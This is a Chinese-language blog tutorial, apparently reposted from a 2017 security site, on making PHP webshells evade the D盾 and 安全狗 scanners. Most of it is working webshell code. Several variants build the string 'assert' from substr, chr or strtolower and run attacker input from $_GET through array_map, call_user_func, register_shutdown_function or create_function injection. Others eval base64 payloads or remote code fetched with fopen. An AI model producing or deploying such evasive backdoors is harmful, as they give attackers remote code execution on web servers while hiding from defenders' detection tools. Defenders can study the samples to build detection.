对于Php Shell Bypass思路总结

对于Php Shell Bypass思路总结

Prat 0 自白

在初入Web渗透测试的时候,发现Waf如同无法跨过的鸿沟,每一次学习就是对鸿沟的填充。
借用某大牛对曾经年少的自己说的一句话:
自己真正学到的才是自己的财富!只是一味的盗版,不懂得学习的那叫小学生!
自己新成立了一个团队,名为OneT挺开心的,觉得放出一些自己的学习经验跟想法是及其不错的。
本文文字偏多,如果你潜心看完,相信一句话bypass,对你来说根本不是什么难事。
本文通过三部分来写:起源,一句话Bypass, Php大马Bypass
因为Bypass安全狗可以说是非常简单的,所以本文主要目标以D盾作为绕过基础。
顺便一提:本文中的某个思路或许已经被公布,但是我阅历比较少,并不知道,如果有重复的,可以提出来,贴上地址~
我自己公布的就算了,毕竟这是一篇总结与扩展。

Prat 1 起源

1:建立一个明确的目标
一句话原型:代码执行函数(参数接收);
所以我们不管怎么处理,怎么去优化,最后的代码让他变成原型就可以了。
在学习bypass之前,我建议去了解一下php,这是bypass的开端。
2:大胆的想法
有了目标肯定是远远不够的,不能局限前人的思路,要有自己开阔的思路,可以从前人的思路变种,也可以自己思考。
3:实现自己的目标跟想法
既然以及了解了自己的目标,那么就该一步步的实现它,例如这个函数被查杀了,那么换一个函数呢?换一个函数不行那么换一个写法呢?条条大路通罗马,总有一个是可以的。

Prat 2 一句话Bypass

D盾当时行为库:
image

首先看一句话原型:

1
assert($_GET[‘x’]);

思路一:字符串截取+回调

首先看一下介绍

Substr() //返回字符串的一部分
Array_map() //将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新值的数组

这个思路其实在博客当中就有提过,不过是不过D盾的

1
2
3
4
5
6
7
8
9
10
<?php
$a = substr(“abcdefghijklmnopqrstufwxyz”,0,1);
$b = substr(“abcdefghijklmnopqrstufwxyz”,17,3);
$c = substr(“abcdefghijklmnopqrstufwxyz”,3,2);
$ss = $a.$b.$c;
$d = $ss[0].$ss[2].$ss[2]; //ass
$dd = $ss[5].$ss[1].$ss[3]; //ert
$x = $d.$dd;
$x($_POST[‘x’]);
?>

首先看思路原型:

$a = a //从字符串的第0个字符开始截取,向右截取1个字符
$b = rst //从字符串的第17个字符开始截取,向右截取3个字符
$c = de //从字符串的第17个字符开始截取,向右截取3个字符
$ss = arstde //为三个变量的拼接的来

那么过程就很好理解:

$d = ass //分别截取$ss的第0,2,2字符
$dd = ert //分别截取$ss的第5,1,3字符
最后拼接成assert

但是这样只能过狗,不能过D盾
image
之前就已经说了,这思路行不通,那么在原有的思路在扩展一下呢?
我们来把substr函数返回的assert封装成新的方法,在调用看看效果如何

1
2
3
4
5
6
7
8
9
10
11
12
function test($D) //定义一个名为test的函数,并使用$D接收参数
{
$a = substr(“abcdefghijklmnopqrstufwxyz”,0,1);
$b = substr(“abcdefghijklmnopqrstufwxyz”,17,3);
$c = substr(“abcdefghijklmnopqrstufwxyz”,3,2);
$ss = $a.$b.$c;
$d = $ss[0].$ss[2].$ss[2]; //ass
$dd = $ss[5].$ss[1].$ss[3]; //ert
$x = $d.$dd;
$x($D); //assert执行接收的参数
}
test($_GET[‘x’]); //assert($_GET[‘x’]);

image
虽然还是被杀,不过发现级别已经降低为二级了,他现在杀的只不过是变量而已,也就是
$x($D);
为什么杀呢?因为D盾中不允许这样做,不管你有没有危害都会拦截

可以看见,我里面$d($dd);什么都没有,但是他还是报二级了。
接下来怎么处理呢?还是从原来思路上扩展,既然不允许那就换一个思路,我们采用回调

1
2
3
4
5
6
7
8
9
10
11
12
13
function test($aa)
{
$a = substr(“abcdefghijklmnopqrstufwxyz”,0,1);
$b = substr(“abcdefghijklmnopqrstufwxyz”,17,3);
$c = substr(“abcdefghijklmnopqrstufwxyz”,3,2);
$ss = $a.$b.$c;
$d = $ss[0].$ss[2].$ss[2]; //ass
$dd = $ss[5].$ss[1].$ss[3]; //ert
$x = $d.$dd;
return $x; //返回assert
}
$test = test(); //把test()函数存入test变量中
array_map($test,array($_GET[‘x’])); //array_map函数回调

但是发现D盾还是报二级了。
image
不过这次报的就很好处理了,可以看见,他报的array_map参数里面的东西很可疑,可疑
其实有个很好的办法解决,那就是加个赋值,例如:
array_map($test,array($_GET[‘x’]));我们改为array_map($DD =$test,$d = array($_GET[‘x’]));
我们在测一下
image
还是报二级,不过别着急,我们把array($_GET[‘x’])先拿出来进行一个赋值在里面在一个赋值
看看会怎么样。
image
可以发现D盾出奇的不拦截了。
image
可以正常使用。

思路小结

在字符串返回思路行不通后,可以使用回调来进行一个绕过,在函数里面赋值可以用来解决许多可疑变量。

思路二:字符串截取(变种)+回调

这次思路其实属于换汤不换药。
写之前首先我们要熟悉一下Ascii码表
image
我们不需要知道这么多,够我们用的就好

97 = a
115 = s
101 = e
114 = r
116 = t

我们可以写的风骚一点

1
2
3
4
5
6
7
8
$a = chr(substr(“97115101114116”,0,2));
$b = chr(substr(“97115101114116”,2,3));
$c = chr(substr(“97115101114116”,2,3));
$d = chr(substr(“97115101114116”,5,3));
$e = chr(substr(“97115101114116”,8,3));
$f = chr(substr(“97115101114116”,11,3));
$x = $a.$b.$c.$d.$e.$f;
$x($_GET[‘x’]);

这样当然是不会过D盾的,不过安全狗肯定可以过的。
我们可以依葫芦画瓢用回调来处理。
最终成果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function test($aa)
{
$a = chr(substr(“97115101114116”,0,2));
$b = chr(substr(“97115101114116”,2,3));
$c = chr(substr(“97115101114116”,2,3));
$d = chr(substr(“97115101114116”,5,3));
$e = chr(substr(“97115101114116”,8,3));
$f = chr(substr(“97115101114116”,11,3));
$x = $a.$b.$c.$d.$e.$f;
return $x;
}
$test = test();
$ddd =array($_GET[‘x’]);
array_map($D = $test,$DD = $ddd );
?>

image
可以正常使用,并且过了D盾。
当然,我们可以写的更简单一点。

1
2
3
4
5
6
7
8
9
10
<?php
function test($aa)
{
$a = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
return $a;
}
$test = test();
$ddd =array($_GET[‘x’]);
array_map($D = $test,$DD = $ddd );
?>

连截取都不要了,但是一样可以正常使用,并且过了D盾。
image

思路小节

整个过程就跟思路一一摸一样,只不过思路一是直接返回的字符,而这边却加了一层chr而已。
所以可以被称之为变种,换汤不换药。

思路三:chr()+小写转换+回调(变种)

看完思路二,发现还可以根据chr再次扩展。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
/*
97 = a 65 = A
115 = s 83 = S
101 = e 69 = E
114 = r 82 = R
116 = t 84 = T
*/
$a = chr(65).chr(83).chr(83);//ASS
$b = chr(69).chr(82).chr(84);//ERT
$c = strtolower($a.$b);//assert
$aa = array($_GET[‘x’]);
array_map($D = $c,$DD = $aa );
//strtolower(): 该函数将传入的字符串参数所有的字符都转换成小写,并以小定形式放回这个字
//strtoupper(): 该函数的作用同strtolower函数相反,是将传入的字符参数的字符全部转换成大
?>

还是换汤不换药,不过用了大写的Ascii码。
然后使用strtolower函数转换成小写。
image

思路小结

你可以发现,我是一环环变种的,思路三变种思路二,思路二变种思路一。
可能有人会问我为什么要写变种,其实你可以侧面的理解为,我这是在告诉你:一种思路你可以通过千变万化的思路来扩展。

思路四:create_function函数

看完简单的思路,我们来看一下深一点的思路。
array_flip()//用于反转/交换数组中所有的键名以及它们关联的键值,如果反转成功,则返回反转后的数组。如果失败,则返回 NULL。
首先我们要了解一下create_function函数是如何进行代码注入的(因为这不是本文需要讲的东西,大家可以上百度搜。)

1
2
3
4
5
6
<?php
$a=array(“;}$_GET[x];/*”=>“1”);
$b=array_flip($a);
$c = $b[1];
create_function(‘$args’,$c);
?>

具体我就不讲了,等你百度完也就差不多知道思路了。

思路小结

有时候可以借着php中一些能做代码执行的函数进行处理就能琢磨出来一大堆Bypass。
image

思路五:函数回调

之前几种思路都有触及到函数回调,于是决定独立分一波来讲。

array_map()

1
2
3
4
5
6
function a(){
return ‘assert’;
}
$a=a();
$aa = array($_GET[‘x’]);
array_map($a,$a=$aa);

array_map函数我就不过多的说了,毕竟前面也用到了许多。

call_user_func_array()

1
2
3
4
5
6
function a(){
return ‘assert’;
}
$a=a();
$aa = array($_GET[‘x’]);
call_user_func_array($a,$a=$aa);

call_user_func_array可以说作用性跟array_map差不多,不过还是有一些不同。

call_user_func()

1
2
3
4
5
6
function a(){
return ‘assert’;
}
$a=a();
$aa=$_GET[‘x’];
call_user_func($a,$a=$aa);

用P牛博客上的一句话来说这算是回调后门的老祖宗了。

register_shutdown_function()

1
2
$aa=$_GET[‘x’];
register_shutdown_function(‘assert’,$a=$aa);

这个函数其实我也不是很明确,从p牛上看到的,不过博客上的一句话已经不能用了,偷下来做了下处理

思路小结

其实原理都差不多,如果你看不懂,没关系,去看一遍php,回来你就会发现这些是多么的简单,单单一个函数回调就能构造无数轮子。
丢上P牛讲解回调函数轮子的地址

最后总结

一句话的思路千变万化,一个函数可以扩展无数思路。
你只需要大胆的假设,然后大胆的去做就可以了。

Prat 3 Php大马Bypass

思路1:base64函数分割+大小写

其实这个思路在上篇bypass文章我就已经做好了铺垫,因为是通用性,所以藏着到这篇文章来发。

1
2
3
4
5
<?php
$a = ‘base64编码过后’;
$c = base64_decode($a);
eval($d = $c);
?>

可以发现,这样D盾是报二级的。所以我们可以稍微处理下。

1
2
3
4
$x=“BaSe64”;
$b=“_deCOde”;
$c=$x.$b; //base64_decode
eval($d = $c(‘base64编码过后’));

明眼人就可以发现,其实我并没有改变多少代码,只是把Base64函数进行分割,然后大小写而已。
从而达到了过D盾的效果。如果没有进行大小写的话是被报二级的。
我想这应该是waf的缺陷导致bypass的原因。
image

思路2:fopen函数以及php_curl函数

fopen()

fopen在之前的文章也有提到过,不过太长,我这里简化一下。

1
2
3
4
5
6
7
$handle = fopen(‘http://127.0.0.1/bh/test.txt’, ‘r’);
$content = ;
while(false != ($a = fread($handle, 8080))){
$content .= $a;
}
print(eval($a=$content));
fclose($handle);

php_curl()

其实跟fopen函数差不多,不过需要开启特定的函数,有人提过fopen似乎也要,不过在我仅有的shell中我并没发现出错。
因为都差不多,所以我这里也就不详细说了。提一下就好。例子等有机会再写。

总结

用之前的话来说,条条大路通罗马,需要的只是耐心。
需要的只是大胆的假设,需要的只是实践的行动。
话不多说,明白就好。
或许文章看着并不长,案例也不多,也就十几个。
不过我希望看完这篇文章能开启你bypass之路的大门。
也能让你明白bypass并不是很困难。
当然,如果用心读的话(一边动手一边学习)。

from http://www.inksec.cn/2017/11/06/bypass_shell_4/